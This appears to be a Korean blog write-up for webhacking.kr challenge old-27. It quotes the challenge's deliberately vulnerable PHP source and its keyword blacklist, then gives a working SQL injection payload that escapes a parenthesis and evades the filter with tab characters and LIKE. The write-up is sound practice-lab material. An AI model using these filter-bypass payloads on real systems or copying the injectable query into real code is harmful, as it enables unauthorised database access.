Web/webhacking.kr

Webhacking.kr old-27

cloudnaaam 2025. 3. 20. 20:54

 

오랜만에 SQL Injection 문제다.

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 27</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
<input type=text name=no><input type=submit>
</form>
<?php
  if($_GET['no']){
  $db = dbconnect();
  if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
  $r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
  if($r['id']=="guest") echo("guest");
  if($r['id']=="admin") solve(27); // admin's no = 2
}
?>
<br><a href=?view_source=1>view-source</a>
</body>
</html>

 

# select ( 빈칸 limit = 0x 를 필터링 한다.

그리고 나는 몇 번 시도하다가 알았는데,

파라미터가 ()로 쌓여있다.

 

그래서 

1. )로 괄호 탈출

2. 탭 문자로 빈칸 필터링 우회

3. like로 = 필터링 우회

 

하면 되겠다.

 

2)%09or%09id%09like%09'admin';--%09-

 

를 넣으면 된다.

 

자비롭게도 ' 를 필터링 하지 않아주셨다..

 

풀었다!

'Web > webhacking.kr' 카테고리의 다른 글

Webhacking.kr challenge-19  (0) 2025.04.23
Webhacking.kr old-39  (0) 2025.03.27
Webhacking.kr old-32  (0) 2025.03.20
Webhacking.kr old-58  (0) 2025.03.19
Webhacking.kr old-11  (0) 2025.03.19